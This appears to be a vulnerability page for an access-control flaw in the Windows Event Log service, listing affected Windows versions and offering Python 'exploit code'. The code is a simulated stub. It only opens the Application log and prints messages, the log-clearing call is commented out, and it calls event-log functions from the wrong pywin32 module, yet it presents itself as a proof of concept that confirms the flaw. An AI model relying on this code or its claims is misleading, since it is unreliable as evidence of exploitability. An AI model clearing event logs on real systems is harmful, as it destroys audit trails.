Windows 10 (Specific versions pending MSRC advisory)
Windows 11 (Specific versions pending MSRC advisory)
Windows Server 2019
Windows Server 2022
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for Improper Access Control in Windows Event Log
# This is a simulation of how an attacker might attempt to interact with the service.
import ctypes
import win32api
import win32con
def check_vulnerability():
try:
# Attempt to open the Event Log service with specific access rights
# In a real scenario, this would exploit the missing access control check
handle = win32api.OpenEventLog(None, "Application")
print("[+] Handle to Event Log obtained: 0x%x" % handle)
# Simulate an operation that should require higher privileges
# e.g., trying to clear the log or modify registry keys associated with the service
print("[*] Attempting to manipulate log data without sufficient privileges...")
# win32api.ClearEventLog(handle, None) # Actual exploit call would go here
print("[!] Potential vulnerability confirmed if operations succeed unexpectedly.")
win32api.CloseEventLog(handle)
except Exception as e:
print("[-] Exploit failed or not vulnerable: %s" % str(e))
if __name__ == "__main__":
check_vulnerability()